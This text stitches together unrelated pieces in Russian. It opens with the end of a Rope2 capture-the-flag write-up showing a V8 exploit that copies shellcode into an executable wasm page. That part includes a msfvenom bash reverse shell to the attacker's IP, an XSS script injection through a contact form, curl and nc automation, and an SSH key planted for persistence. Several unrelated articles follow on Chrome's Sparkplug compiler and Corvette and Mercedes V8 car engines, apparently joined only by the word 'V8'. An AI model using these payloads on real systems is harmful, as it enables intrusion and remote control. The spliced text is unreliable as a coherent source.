function copy_shellcode(addr, shellcode) {
let buf = new ArrayBuffer(0x100);
let dataview = new DataView(buf);
let buf_addr = addrof(buf); // Получаем адрес ArrayBuffer
let backing_store_addr = buf_addr + 0x14n; // Постоянное смещение backing_store=0x14
arb_write(backing_store_addr, addr); // Изменяем адрес backing_store_addr на addr
// Пишем шелл по адресу backing_store_addr
for (let i = 0; i < shellcode.length; i++) {
dataview.setUint32(4*i, shellcode[i], true);
}
}
console.log("[+] RWX Wasm page addr: 0x" + rwx_page_addr.toString(16));
// msfvenom -p linux/x64/exec -f dword CMD='твой_шелл_код'
var shellcode = new Uint32Array([0x99583b6a, 0x622fbb48, 0x732f6e69, 0x48530068,
0x2d68e789, 0x48000063, 0xe852e689, 0x00000016, 0x68736162, 0x20632d20, 0x68636522,
0x5750206f, 0x2144454e, 0x57560022, 0x0fe68948, 0x00000005]);
// Пишем реверс-шелл по адресу rwx_page
copy_shellcode(rwx_page_addr, shellcode);
// Вызываем wasm_instance c нашим реверс-шеллом
exploit();
Запускаем наш тестовый эксплоит:
artex@ubuntu:
[
[
[
PWNED!
Работает!
Остался последний шаг — разобраться, как его запустить на удаленной машине.
Единственный интерактивный элемент на сайте — это форма обратной связи по адресу http://rope2.htb:8000/contact. Так как V8 — это движок JS, очевидно, что надо как‑то скормить ему наш JavaScript. Запускаем сервер HTTP: python
— и вводим во все поля формы
<script src="http://10.10.xx.xx:8070/v8.js"></script>
И получаем запрос от сервера! После недолгих экспериментов я выяснил, что запуск скрипта триггерит поле Message.
Проверяем XSSТеперь дело за малым. Генерируем боевой пейлоад с реверс‑шеллом и вставляем его в наш скрипт.
msfvenom -p linux/x64/exec -f dword CMD='bash -c "bash -i >& /dev/tcp/10.10.xx.xx/7090 0>&1"'
Кладем скрипт в папку, из которой запущен наш веб‑сервер, запускаем netcat (nc
) и отправляем форму с запросом скрипта в поле Message.
Наконец‑то долгожданный шелл!
Получаем шеллЧтобы автоматизировать процесс, я написал пару строк на bash — получившийся файл нужно положить в ту же папку, где лежит скрипт.
python -m http.server 8070 &
curl -d 'name=&subject=&content=%3Cscript+src%3D%22http%3A%2F%2F10.10.xx.xx%3A8070%2Fv8.js%22%3E%3C%2Fscript%3E' -L http://10.10.10.196:8000/contact &
nc -lnvp 7090
Правда, сессия живет не больше минуты — видимо, на сервере срабатывает тайм‑аут. Чтобы сделать себе стабильный шелл, нужно добавить пользователю chromeuser свой ключ SSH:
mkdir /home/chromeuser/.ssh
echo 'твой_ssh_ключ'>>/home/chromeuser/.ssh/authorized_keys
Надеюсь, было интересно и ты узнал для себя много нового!
Google почти на четверть повысила производительность Chrome за счёт обновлённого движка JavaScript
На этой неделе Google выпустила Chrome 91, очередную версию своего фирменного браузера, который получил несколько новых функций и улучшений. Помимо прочего, разработчики обновили движок JavaScript V8, благодаря чему производительность браузера увеличилась на 23 %.
Изображение: Getty Images
Добиться этого удалось благодаря интеграции нового JS-компилятора Sparkplug, который обеспечил значительный прирост производительности. Сам же JavaScript-движок V8 играет важнейшую роль в браузере, поскольку используется при обработке подавляющего большинства веб-страниц.
«Важным компонентом быстрого браузера является быстрое выполнение JavaScript. В Chrome эту работу выполняет движок V8», — написал в блоге менеджер по продукту Chrome Томас Наттестад (Thomas Nattestad). Он также добавил, что с запуском нового компилятора Chrome 91 стал почти на четверть быстрее, благодаря чему обозреватель суммарно каждый день сохраняет более 17 лет жизни пользовательских процессоров.
Разработчики достаточно подробно описали работу компилятора Sparkplug, отметив, что он повышает производительность обозревателя за счёт того, что полагается на компиляцию, проделанную интерпретатором Ignition. Разработчики называют Sparkplug «неоптимизирующим компилятором JavaScript». «Во-первых, он обманывает; функции, которые он компилирует, уже скомпилированы в байт-код, а компилятор байт-кода уже проделал большую часть тяжёлой работы <…> Sparkplug компилирует из байт-кода, а не из исходного кода JavaScript», — говорится в сообщении разработчиков.
Для пользователей Chrome озвученные нововведения означают существенный прирост производительности, за счёт чего взаимодействовать с браузером станет более комфортно. Кроме того, использовать эти преимущества смогут разработчики других браузеров на базе Chromium.
Если вы заметили ошибку — выделите ее мышью и нажмите CTRL+ENTER.
Самый мощный двигатель NA V8 в серийных автомобилях
Никогда прежде Corvette Z06 не был таким хорошим.
Наконец-то пришло время познакомиться с новым Chevrolet Corvette Z06 2023 года — момент, которого мы ждали с тех пор, как было представлено новое поколение C8. Этот новый Z06 отличается не только огромной мощностью, но и ярким внешним видом.
Новый C8 Z06 оснащен совершенно новым 5,5-литровым двигателем LT6, который является самым мощным безнаддувным двигателем V8 среди всех серийных автомобилей.Сколько власти нужно, чтобы удержать этот титул? 670 лошадиных сил и 460 фунт-фут крутящего момента. Этой мощности достаточно для разгона от 0 до 100 км / ч всего за 2,6 секунды. Другие особенности трансмиссии включают плоский коленчатый вал, который позволяет двигателю разгоняться до 8600 об / мин, новый активный впускной коллектор, новую шестиступенчатую систему смазки с сухим картером и многое другое. Chevrolet действительно произвел фурор с новым LT6. Что касается трансмиссии, этот двигатель соединен с восьмиступенчатой коробкой передач с двойным сцеплением с «коротким» 5.Передаточное число главной передачи 56.
Chevrolet отмечает, что новый Corvette Z06 не только мощный, но и самый гусеничный «Vette» за всю историю. Готовность нового Z06 к треку придает сочетание аэродинамических компонентов и механических усовершенствований. Его экстерьер отличается более широкими крыльями, которые уступают место передним колесам 20 x 10 дюймов с шинами 275 / 30ZR20 и задним колесам 21 x 13 дюймов с шинами 345 / 25ZR21. Что касается выбора шин, то это шины Michelin® Pilot Sport 4S ZP в стандартной комплектации, а шины Sport Cup 2 R ZP поставляются с доступным пакетом Z07.Также улучшают аэродинамику передний сплиттер и задний спойлер, на которых есть устанавливаемая «плетенка». Что такое плетеный клюв? Это небольшой выступ на краю спойлера, который, по словам Chevrolet, увеличивает прижимную силу на 365 фунтов на скорости 186 миль в час.
Гоночный автомобиль — это больше, чем просто механические компоненты, поэтому новый Corvette Z06 2023 года оснащен технологиями, предназначенными для гоночных треков. Управление системами с электронным управлением осуществляется с помощью переключателя режимов движения. Как и на стандартном C8 Corvette Stingray, переключатель режимов движения Z06 может регулировать Launch Control, Active Handling, Traction Control, Performance Traction Management и электронный дифференциал повышенного трения.Для тех, кто хочет немного большей производительности на треке, Chevrolet предлагает пакет производительности Z07. В этот пакет входят следующие особенности: аэро-пакет из углеродного волокна (увеличенный передний сплиттер, плоскость пикирования переднего угла, заднее крыло и распорки днища), подвеска FE7 с «особыми» калибровками Magnetic Ride Control 4.0, шины Michelin Sport Cup 2 R ZP, и доступные колеса из углеродного волокна.
Водитель и пассажир нового 2023 Z06 могут насладиться прекрасным интерьером, который стал еще более роскошным, чем раньше.Chevrolet отмечает, что уникальные особенности кабины Z06 включают опциональное рулевое колесо с углеродным волокном, подрулевые переключатели, новый пакет отделки салона из углеродного волокна уровня 2 и новый интерьер Adrenaline Red.
При настройке нового Chevrolet Corvette Z06 2023 года есть множество вариантов на выбор. Они включают в себя двенадцать цветов кузова, семь пакетов колес, вторые цвета интерьера, три варианта сидений, шесть вариантов ремня безопасности, два пакета отделки салона из углеродного волокна (не включая отделку Stealth Aluminium) и шесть цветов тормозных суппортов.
Производство нового Corvette Z06 2023 года начнется летом 2022 года.
Источник: Chevrolet
2022 Mercedes-AMG SL дебютирует с тканевой крышей, полным приводом и двигателем V8
SL, одна из самых долгоживущих в портфолио Mercedes, существует уже почти 70 лет. Модель поколения R232 наконец-то здесь, и она представляет собой большой отход от своего стареющего предшественника, поскольку в основном все изменилось.Новый Sport Leicht переосмысливает формулу родстера 2022 года: от платформы и дизайна до технологий и шикарного интерьера.
Являясь также заменой родстера GT, новый SL больше не является моделью марки Benz, поскольку будет продаваться исключительно как AMG. Стиль соответствует последнему языку дизайна трехконечной звезды с более острым внешним видом с угрожающей решеткой Panamericana с вертикальными планками, окруженными угловатыми фарами, похожими на фары CLS.
114 Фото
Гладкий боковой профиль оснащен выдвигающимися электронными дверными ручками, как на последнем S-классе, и, переключившись с металлического верха на трехслойную тканевую крышу, инженеры снизили вес примерно на 21 килограмм (46 фунтов).Он может похвастаться задним стеклом с подогревом, а верхнюю часть можно сложить или поднять за 15 секунд на скорости до 31 мили в час (50 км / ч). Значительное облегчение крыши привело к снижению центра тяжести, что должно улучшить управляемость.
Сзади: четыре выхлопа по бокам диффузора указывают на то, что мы имеем дело с высокопроизводительной моделью AMG. Широкие задние фонари придают дерриеру внушительный вид, а активный задний спойлер аккуратно интегрирован в заднюю дверь и имеет не менее шести настроек.Что касается аэродинамики, Mercedes будет продавать новый SL с опциональным аэродинамическим пакетом с более мощными элементами для обоих бамперов, активной аэродинамикой в передней части днища и более толстым задним диффузором.
Показанный в июле салон с кожаной подкладкой и новейшей информационно-развлекательной системой MBUX с большим дисплеем с портретной ориентацией. Сенсорный экран размером 11,9 дюйма наклоняется вперед ((наклон от 12 ° до 32 °) для удобства использования и дополняется 12,3-дюймовым полностью цифровым приборным щитом, а также проекционным дисплеем с технологией дополненной реальности.
Как и следовало ожидать от элитного кабриолета Mercedes, система обогрева шеи Airscarf с вентиляционными отверстиями в передних подголовниках входит в стандартную комплектацию нового SL. Он будет предлагаться с рулевым колесом AMG Performance и выбором между стандартными электрически регулируемыми спортивными сиденьями AMG или опциональными сиденьями AMG Performance.
Обновленный SL будет доступен в вариантах SL 55 и SL 63, причем оба будут оснащены 4,0-литровым двигателем V8 с двойным турбонаддувом.Базовая модель предлагает 469 л.
Впервые SL доступен с полным приводом, а именно с установкой 4Matic + с регулируемым распределением крутящего момента и электромеханически управляемой муфтой, связывающей заднюю ось с постоянным приводом с передними колесами. Мощность двигателя направляется на дорогу через девятиступенчатую автоматическую коробку передач, оснащенную функцией контроля запуска.
Опционально для SL 55 и входит в базовую комплектацию SL 63. Задний дифференциал повышенного трения с электронным управлением увеличивает тягу и устойчивость конкурента BMW 8 серии Кабриолет во время скоростных поворотов. Родстер также выигрывает от рулевого управления задними колесами, чтобы уменьшить радиус поворота и улучшить управляемость.
Mercedes-AMG пока не говорит о ценах и доступности, но мы ожидаем, что новый SL появится в 2022 модельном году.
Вот почему плоский кривошипный двигатель V8 Chevrolet Corvette Z06 2023 года имеет большое значение.
Компания Chevrolet сделала двигатель Corvette меньше, чтобы сделать спортивный автомобиль лучше.
Chevrolet Corvette Z06 2023 года (Chevrolet)
В Corvette Z06 2023 года 6,2-литровый V8 Corvette Stingray заменен на 5,5-литровый V8, более мощный, даже без наддува или турбонаддува.
Chevrolet Corvette Z06 2023 года оснащен 5,5-литровым двигателем LT6, самым мощным атмосферным двигателем V-8, представленным на рынке.
Это потому, что он имеет плоскую конструкцию кривошипа, которая обычно ассоциируется с гоночными автомобилями или суперкарами с высочайшими характеристиками, которыми стремится быть Z06.
Но что такое кривошип с плоской поверхностью?
Все дело в том, как поршни крепятся к коленвалу. Типичный V8 использует кривошип с поперечной плоскостью, который имеет шейки, с которыми соединены шатуны, под углом 90 градусов друг к другу, как знак плюс, в то время как кривошип с плоской плоскостью помещает их под углом 180 градусов. Вы можете увидеть разницу ниже.
Коленчатый вал с поперечным сечением имеет шейки, разнесенные на 90 градусов. (iStock)
Коленчатый вал Corvette Z06 имеет плоскую компоновку.(Chevrolet)
По словам главного инженера Corvette Джоша Холдера, конфигурация с поперечным расположением плоскости требует такого порядка зажигания, при котором два цилиндра с одной стороны работают последовательно в течение цикла и дышат через один и тот же воздухозаборник, что создает неоптимальный воздушный поток.
При плоском кривошипе порядок зажигания всегда чередуется из стороны в сторону, что позволяет поршням втягивать воздух с меньшим сопротивлением, а двигатель вращается быстрее, чтобы производить больше мощности.
Corvette Stingray’s 6.2L Small Block V-8 называется LT2. (Chevrolet)
Для сравнения: V8 Stingray развивает 495 л.с. при 6450 об / мин и имеет ограниченную границу 6500 об / мин, а Z06 — 670 л.с. при 8400 об / мин и достигает максимума при 8600 об / мин, что дает ему пронзительный визг. экзотика.
Chevrolet называет Corvette Z06 5.5L V8 LT6.
Проблема в том, что плоская конструкция кривошипа менее естественно сбалансирована, поэтому двигатели имеют тенденцию к большей вибрации, требуя дорогостоящих деталей для уменьшения эффекта.
«Чтобы сдерживать силы вибрации и сотрясения в плоском кривошипе, вам нужно сделать возвратно-поступательную массу как можно более легкой», — пояснил Холдер.
«Для этого на этом конкретном двигателе у нас есть кованый титановый шатун, который слишком дорого обходится в больших объемах».
В отличие от двухклапанного двигателя V8 с толкателем в Stingray, двигатель Z06 оснащен двумя верхними распределительными валами с четырьмя клапанами на цилиндр — это только второй раз в двигателе Corvette.Более квадратная конструкция с коротким ходом максимизирует площадь отверстий для клапанов при одновременном снижении скорости поршня, что позволяет работать на высоких оборотах при изменении фаз газораспределения и непосредственном впрыске топлива, что дополнительно оптимизирует его работу.
В гоночном автомобиле C8.R на базе Chevrolet Corvette также используется 5,5-литровый двигатель V8 с плоским кривошипом. (Chevrolet)
Он все еще не такой плавный и тихий, как V8 с поперечным рычагом, но Холдер сказал, что это противоположно тому, что клиент хочет от «интуитивного» автомобиля, такого как Z06, который призван вызвать ощущение вождения Chevrolet. Корвет C8.Гоночный автомобиль R с таким же размером и типом двигателя.
На самом деле они настолько похожи, что два двигателя имеют несколько общих частей, и Z06 V8 нужно собирать вручную, как гоночный двигатель.
В результате получился самый мощный атмосферный двигатель V8, когда-либо производившийся в серийных автомобилях, и этот двигатель будет относительно выгодной сделкой, когда он поступит в продажу следующим летом.
НАЖМИТЕ ЗДЕСЬ, ЧТОБЫ ПОЛУЧИТЬ ПРИЛОЖЕНИЕ FOX NEWS
Цены не были объявлены, но владелец сказал, что клиенты могут ожидать аналогичного шага от Stingray к Z06 в качестве последнего поколения, что может означать цену ниже
долларов за автомобиль, который может разгоняться от 0 до 100 км / ч за 2 секунды.6 секунд и пойте фальцетом.
2023 Chevrolet Corvette Z06 заправляет легенду радикальным V8
Послушайте двигатель Corvette Z06 2023 года выпуска
Тревор Томпкинс из компании Chevrolet Communications запускает новый 670-сильный самолет V8 2023 Chevy Corvette Z06 в техническом центре GM в Уоррене. .
Манди Райт, Detroit Free Press
Если переход General Motors к электромобилям положит конец легендарному малоблочному двигателю Chevy V8, двигатель, который приводил в движение многие из его величайших автомобилей, грохочет с ревом и рекордом: Самый мощный атмосферный двигатель V8 из всех серийных автомобилей — Corvette Z06 2023 года.
670-сильный 5,5-литровый двигатель V8 ожил на прошлой неделе в высокозащищенном дизайн-куполе GM, вызвав призраков восьмидесятилетнего дизайна и инженерной мысли.
Радикально переработанный Z06 имеет множество других изменений — многие из них, например, V8, возникли в результате развития гоночного автомобиля Corvette C8.R, который выиграл чемпионат в первый год соревнований и стал лидером во второй.
«Гонки — это причина, по которой Z06 был разработан в 1963 году», — сказал исполнительный инженер Corvette Тэдж Юхтер.«Мы протестировали Z06 на лучших трассах мира, от Американской автодрома в США до Нюрбургринга в Германии».
Интерьер также получил множество обновлений, включая дисплеи, ориентированные на производительность, отделку из углеродного волокна с едва различимыми красными акцентами и хриплый «красный ближний свет».
Chevrolet Corvette Z06 2023 года будет запущен в производство следующим летом в Боулинг-Грин, штат Кентукки. Он будет доступен как в кузове купе, так и в версии с откидным верхом. Цены и экономия топлива будут объявлены ближе к началу продаж.
Corvette Z06 на протяжении многих лет
C2 (1963): 5,4-литровый двигатель V8, 360 лошадиных сил, 4-ступенчатая механическая коробка передач
C5 (2001-04): 5.7-литровый V8, 385 л.с. (2001) и 405 л. скорость автомат
C8: V8 5,5 л, 670 л.с., 8-ступенчатая автоматическая коробка передач с двойным сцеплением
Когда десятые доли секунды трудно найти
Ключевые слова «висцеральный», «срочный» и «скальпель» были ключевыми словами, когда Команда ‘Vette начала работу над Z06 в 2019 году.
Кузов был расширен, чтобы обеспечить более широкую посадку на 3,6 дюйма, обусловленную массивными задними шинами 345-й серии и более крупными боковыми вентиляционными отверстиями для охлаждения.
Четыре «полосы» длиной 5 футов на днище кузова направляют воздух из-под автомобиля, чтобы снизить давление воздуха и улучшить устойчивость на дороге.
«Реакция рулевого управления находится в другой вселенной» из-за больших шин и легких колес, — сказал Юхтер. Инженеры перенастроили рулевое управление, подвеску и восьмиступенчатую автоматическую коробку передач Vette с двойным сцеплением для большей мощности и более высоких скоростей, но основные компоненты, включая адаптивную подвеску MR, являются общими для Corvette Stingray.
Гоночные особенности, доступные на Z06, включают:
- Стойка на 3,6 дюйма шире, чем у Corvette Stingray
- Колоссальные 734 фунта аэродинамической прижимной силы для надежной посадки автомобиля на трассе вместо риска взлета на максимальной скорости — 186 миль в час
- Стандартные 20-дюймовые передние и 21-дюймовые задние алюминиевые колеса
- Дополнительные колеса из углеродного волокна, снижающие вес на 41 фунт
- Дополнительные углеродно-керамические тормоза Brembo с передним и задним роторами диаметром 15,7 / 15,4 дюйма соответственно
Решетка радиатора Z06, передние крылья и панель являются новыми, чтобы обеспечить больший воздушный поток для охлаждения и улучшения аэродинамики.Задняя панель и углы также новые, включая измененные задние фонари. Капот и фары общие с Stingray.
Однако двигатель новый с нуля. Разрабатываемая более пяти лет, она имеет 32 клапана и два верхних распредвала, что является новинкой в области малых блоков. Система впрыска под высоким давлением точно такая же, как и в гоночных автомобилях Corvette C8.R на трассах от Дайтоны до Ле-Манса. Инженеры также позаимствовали некоторые хитрости у двигателя Indy Car Chevy, в том числе переместили топливную рампу к выпускной стороне, чтобы освободить место для более крупных впускных клапанов.
В результате улучшенный воздушный поток помог невероятно мощному двигателю соответствовать стандартам выбросов.
Максимальная скорость 186 миль / ч. Время разгона до 100 км / ч упало до 2,6 секунды, что примерно на 0,2-0,3 секунды быстрее, чем у Stingray.
Это было неожиданно, сказал Юхтер. «Довольно сложно найти десятые доли секунды, когда их всего несколько».
Цель всех улучшений заключалась в том, чтобы позволить Z06 показывать самое быстрое время круга в течение всего дня с меньшим падением от тепла и других факторов, чем предыдущие модели.
Z06: секретный проект Зоры
Corvette Z06 относится к ранним дням создания спортивного автомобиля, когда легендарный главный инженер Зора Аркус-Дунтов хотел «Ветте», на котором он мог бы участвовать в гонках и побеждать на треке. Название относится к специальному пакету функций, созданному для этого в 1963 году: Zora Option 6 или Zora 06. Так появился Z06 (произносится «Zee Oh Six», но пишется с нуля, а не с буквы O).
Название модели даже не было в книге заказов. Это был секретный набор функций, собранных Зорой, заядлой и опытной гонщицей.
Знающие покупатели могут запросить его, чтобы получить готовый трек Vette. Chevy официально не признавал существование Z06, возможно, потому, что GM ненадолго отказался от автоспорта в 1963 году.
В оригинальный комплект Z06 1963 года входили:
- Жесткая подвеска
- Тормоза для тяжелых условий эксплуатации
- Более толстый передний стабилизатор поперечной устойчивости
- A 36 галлонов топливный бак для уменьшения количества пит-стопов в более длительных гонках
- 5,4-литровый двигатель с впрыском топлива (327 кубических дюймов) V8
- Четырехступенчатая механическая коробка передач с близким передаточным числом требовалась с пакетом
5.5L V8 — первый малоблочный двигатель с плоским коленчатым валом — имеет характерную резкую выхлопную ноту, которая раньше была уделом таких экзотических автомобилей, как McLaren и Ferrari. Плоский коленчатый вал, не влезающий слишком глубоко в сорняки, снижает вес двигателя и улучшает воздушный поток. Это приводит к большей мощности. Конструкция также приводит к большей вибрации двигателя, чем двигатели с обычными противовесными коленчатыми валами, и отличительным звуком выхлопа, сильно отличающимся от традиционных Detroit V8. Он разгоняется до 8600 об / мин быстро, как икота.
Z06 будут, пока есть корветы, то есть пока есть шевроле. Когда-нибудь у них будет электроэнергия, и, возможно, даже быстрее, чем в 2023 году, в 0–60 раз, но они никогда не смогут превзойти внутреннюю привлекательность плоского маленького блока объемом 5,5 л.
2023 Chevrolet Corvette Z06: краткий обзор
Двухместное купе со средним двигателем или кабриолет
Цена: TBA
В продаже: Осень 2022 года
Задний привод
В продаже с декабря 2021 года Двигатель
5.Плоскостопный кривошип 5L DOHC V8Мощность: 670 л.с. при 8400 об / мин; 460 фунт-футов крутящего момента при 6300 об / мин
Трансмиссия: Восьмиступенчатая автоматическая коробка передач с двойным сцеплением
Расчетный рейтинг экономии топлива EPA: TBA
Колесная база: 107,2 дюйма
Длина: 184,6 дюйма стандартная ; 185,9 с эффектом грунта из углеродного волокна
Ширина: 79,7 дюйма
Высота: 48,6
Сухой вес: 3434 фунта с колесами из углеродного волокна и пакетом Z07
Объем груза: 12.6 кубических футов
Собран в Боулинг-Грин, Кентукки
Chevrolet представляет Corvette Z06 2023 года и его совершенно новый двигатель V8
Когда Corvette восьмого поколения дебютировал как среднемоторный суперкар, он привлек много внимания . Наш тест-драйв доказал, что ажиотаж оправдан. Теперь у Chevy есть совершенно новая версия «американского суперкара» «Vette» в легендарной гоночной версии Z06.
В основе Corvette Z06 лежит совершенно новый 5,5-литровый двигатель V8 LT6.Эта безнаддувная бензиновая горелка имеет плоскую конструкцию коленчатого вала, позволяющую ей вращаться со скоростью до 8600 об / мин при выработке 670 лошадиных сил (500 кВт). Следуя указаниям Corvette Racing, команда дизайнеров не только работала над уникальным двигателем и выхлопной системой, но и использовала шасси гоночного автомобиля C8.R, соревнования которого начались в 2020 году. Инженеры шутили, что C8.R был «прячущимся в нем Z06. место посадки.»
LT6 собирается вручную в Боулинг-Грин, штат Кентукки, в Центре сборки автомобилей Chevrolet.Полностью алюминиевый корпус блока цилиндров имеет характерное для двигателя Small Black расстояние между отверстиями 4,4 дюйма (112 мм). Головка блока цилиндров с двойным верхним распределительным валом является совершенно новой, с камерами сгорания и впускными отверстиями, обработанными на станках с ЧПУ, а также с механическим клапаном с «пальцевым толкателем». Пружины клапана с двойным витком поддерживают впускные титановые и выпускные клапаны, заполненные натрием. Поршни изготовлены из кованого алюминия, а шатуны — из кованого титана, что обеспечивает меньшую массу и высокую прочность.
Chevrolet Corvette Z06 2023 года оснащен двигателем 5.5-литровый двигатель LT6, самый мощный серийный атмосферный двигатель V-8, поступающий на рынокChevrolet
Активный раздельный впускной коллектор 5.5L также является новым и оснащен двумя дроссельными заслонками диаметром 87 мм. Шестиступенчатая система смазки с сухим картером также является новой, и в ней используется отдельная продувка картера. Выхлопные коллекторы выполнены из нержавеющей стали четыре в два в один.
Технические характеристики двигателя для нового LT6 соответствуют стандартам J1349, обеспечивая мощность 670 лошадиных сил при 8400 об / мин и 460 фунт-фут (623 Нм) крутящего момента при 6300 об / мин.
Надеясь, что шесть побед, семь поул-позиций и титул производителя GT 2020 года превратятся в легальную версию нового Corvette, команда Corvette Racing и инженеры Chevrolet настроили подвеску с помощью обновленного Magnetic Ride Control. Изменения в Z06 сделали его шире, чем Stingray (3,6 дюйма или 9,4 см), чтобы разместить массивные задние шины 345-й серии и более крупные боковые вентиляционные отверстия для лучшего обдува двигателя. Более широкая позиция идет с 20-дюймовыми колесами спереди и 21-дюймовыми колесами сзади.
Новый Z06 имеет уникальные переднюю и заднюю панели (впервые для моделей Z06), передняя часть предназначена для оптимизации охлаждения, а задняя — для лучшего управления воздушным потоком, а также для установки стандартного реконфигурируемого спойлера с регулируемыми плетеными элементами. Для Z06 доступны легкие и жесткие колеса из углеродного волокна, снижающие вес примерно на 41 фунт (18,6 кг).
Передние тормоза модернизированы до шестипоршневых для лучшего контроля торможения и охлаждения. У восьмиступенчатой АКПП с двойным сцеплением короче 5.Передаточное число главной передачи 56 для лучшего ускорения.
Corvette Racing C.08 (слева) стоит рядом с готовыми к серийному производству Chevrolet Corvette Z06 2023 года и кабриолетом Z06Chevrolet
Для Z06 доступен пакет производительности Z07, который добавляет 734 фунта (333 кг) прижимной силы на скорости 186 миль в час (299 км / ч) для большей проходимости на гусенице. Это больше, чем у любого Corvette … когда-либо. Пакет включает в себя высокое заднее крыло из углеродного волокна и эффекты грунта, а также специальную настройку шасси и калибровку магнитного управления ходом для уникальных шин Michelin Cup 2 R ZP, установленных на обновлении Z07.Углеродно-керамические тормоза Brembo также являются стандартной частью модернизации, а колеса из углеродного волокна остаются дополнительными.
Новый Z06 также включает управляемый водителем контроль запуска, активное управление, контроль тяги, управление тяговым усилием и электронные настройки дифференциала повышенного трения с помощью переключателя режимов движения.
Производство Corvette Z06 2023 года начнется в середине 2022 года и будет включать в себя как левый, так и правый руль. Chevrolet обещает больше технических характеристик, цен и других деталей ближе к запуску в конце 2022 года.Более подробная информация представлена в видео ниже.
Совершенно новый 2023 Corvette Z06 Reveal
Источник: Chevrolet
Представлен Chevrolet Corvette Z06 2023 года с V8 в стиле гоночного автомобиля
Chevrolet Corvette Z06 2023 года не похож ни на один Corvette до него. По крайней мере, не на улице.
Chevrolet Corvette Z06 2023 года оснащен уникальной 5.5-литровый плосковоротный V8. (Chevrolet)
Новая сверхвысокопроизводительная модель оснащена двигателем, позаимствованным у гоночного автомобиля Chevy C8.R Endurance.
Пакет Z07 Performance добавляет аэродинамические улучшения. (Chevrolet)
Построенный на обновленной версии среднемоторной платформы Corvette Stingray, Z06 заменяет 6,2-литровый двигатель V8 Stingray мощностью 495 л.
Z06’s 5.Двигатель 5L — самый мощный из когда-либо созданных атмосферных двигателей V8. (Chevrolet)
Это тип двигателя, который обычно используется только в гоночных автомобилях и экзотических автомобилях, таких как Ferrari и McLarens. Легкие вращающиеся компоненты и конфигурация с коротким ходом позволяют ему набирать обороты до заоблачных 8 600 об / мин и производить безнаддувный V8 с рекордной мощностью 670 лошадиных сил, крутящим моментом 480 фунт-фут и пронзительным звуком выхлопа.
Последним массовым американским автомобилем, который использовал такой автомобиль, был самый последний Ford Mustang Shelby GT350, у которого есть 5.2-литровый V8 мощностью 526 л.с.
Дизайн и инженерия Z06 были вдохновлены гоночным автомобилем C8.R. (Chevrolet)
Гусеничный Z06 получил множество обновлений шасси вместе с двигателем, включая более широкий кузов на 3,6 дюйма, расширенный вокруг задних шин 345-й серии. Тормоза Brembo большего размера, чем у Stingray, оснащены 21-дюймовыми задними и 20-дюймовыми передними ободами, которые можно заменить на более легкую конструкцию из углеродного волокна.
Z06 доступен с колесами из углеродного волокна.(Chevrolet)
Z06 также имеет перенастроенную подвеску Magnetic Ride Control, передние и боковые воздухозаборники уникальной конструкции для питания пяти теплообменников и 8-ступенчатую автоматическую коробку передач с двойным сцеплением с новым передаточным числом главной передачи, рассчитанным на ускорение. .
Салон Z06 отделан более высоким уровнем, чем у Stingray. (Chevrolet)
Стандартный кузов включает задний спойлер с прикрепляемым плетеным козырьком, который создает прижимную силу 365 фунтов на скорости 186 миль в час, а дополнительный пакет Z07 Performance добавляет выступающий передний сплиттер, аэродинамические элементы днища, гигантское заднее крыло и даже больше. агрессивная настройка подвески, шины Michelin Cup 2 R ZP, углеродно-керамические тормозные диски и Z06 разгоняется до 60 миль в час за 2 секунды.6 секунд.
НАЖМИТЕ ЗДЕСЬ, ЧТОБЫ ПОЛУЧИТЬ ПРИЛОЖЕНИЕ FOX NEWS
Полные характеристики производительности и цены на Z06 не были опубликованы, но главный инженер Corvette Джош Холдер сказал Fox News Autos, что переход от Stingray будет таким, каким будет Corvette покупатели знакомы с этим, «что могло означать, что она будет стоить меньше 90 000 долларов, когда следующим летом начнутся поставки как в стиле купе, так и в стиле кабриолет.
В эту историю добавлена дополнительная информация
Все, что вы когда-либо хотели знать
Не так уж часто выпускается по-настоящему новый, действительно захватывающий высокопроизводительный двигатель для серийного автомобиля, поэтому, когда что-то вроде LT6 C8 Corvette Z06 падает, стоит остановиться на подробностях.5,5-литровый двигатель V8 с плоским кривошипом, украшающий моторный отсек наиболее ориентированного на треки Corvette, выдает 670 лошадиных сил без какой-либо помощи от принудительной индукции. Мы изрядно прочитали и изучили, как это сделать, но мы также поговорили с Джошем Холдером, главным инженером Corvette, который объяснил все тонкости этого механического шедевра.
Для начала стоит дать некоторый контекст. Этот новый безнаддувный V8 выдает больше лошадиных сил, чем у предыдущего Z06 с наддувом, у которого также был больший рабочий объем на 6.2 литра. Как? Все дело в потоке воздуха, а поток воздуха определяется головкой блока цилиндров двигателя, а также всем, что к ней прикреплено. Дутый LT4, использовавшийся в старом Z06, имел классическую конструкцию толкателя с коленчатым валом в поперечной плоскости. Поток в конструкции толкателя ограничен количеством клапанов в головке (по существу, всегда два в современных бензиновых приложениях) и самими толкателями, выступающими на пути впускных и выпускных отверстий. Конструкция головки толкателя прошла долгий путь с начала 21-го века — вы можете использовать всевозможные уловки, чтобы убрать толкатели с пути портов, — но компоновка с двумя верхними кулачками всегда будет иметь возможность пропускать больше воздуха.
Шевроле
Вот почему LT6 имеет компоновку DOHC. В этом отношении, как и во многих других, он последовал примеру двигателя гоночного автомобиля C8.R. По словам Холдера, эта силовая установка для дорожного автомобиля имеет множество деталей, которые вы найдете в автомобиле конкурента из Ле-Мана. «Головки цилиндров, за исключением пары аппаратных средств, в основном обычны», — сказал он в разговоре с The Drive. «Переверните голову вверх дном и посмотрите … камеру сгорания, клапаны и порты, они все обработаны на станке с ЧПУ. Они выглядят так, как будто они прямо из гоночного автомобиля».
Характеристики голов сами по себе впечатляют. Не были предоставлены ни номера потоков для портов, ни объемы портов; однако сами клапаны очень большие благодаря внутреннему диаметру 4,104 дюйма. Для справки: самый крупный малоблочный Chevy, 7,0-литровый LS7, имеет диаметр 4,125 дюйма. Камера сгорания объемом 58,8 куб. См позволяет использовать двигатель объемом 12.Степень сжатия 5: 1 — здесь понадобится топливо премиум-класса.
Диаметр впускных клапанов составляет 1,654 дюйма (42 мм), а диаметр выпускных клапанов — 1,378 дюйма (35 мм). Число подъемов клапана не может быть подтверждено, хотя они определенно высоки, учитывая, что двигатель развивает максимальную мощность при 8400 об / мин и максимальный крутящий момент при 6300 об / мин. Для сравнения: E46 BMW M3 с 3,2-литровым рядным шестицилиндровым двигателем S54 развивает максимальный крутящий момент при 5000 об / мин и максимальную мощность при 7900 об / мин. Этот LT6, вероятно, нагрет еще больше из-за более высоких оборотов пикового крутящего момента, а также обладает большей объемной эффективностью; 121.8 лошадиных сил на литр в отличие от 104,1 у M3.
Шевроле
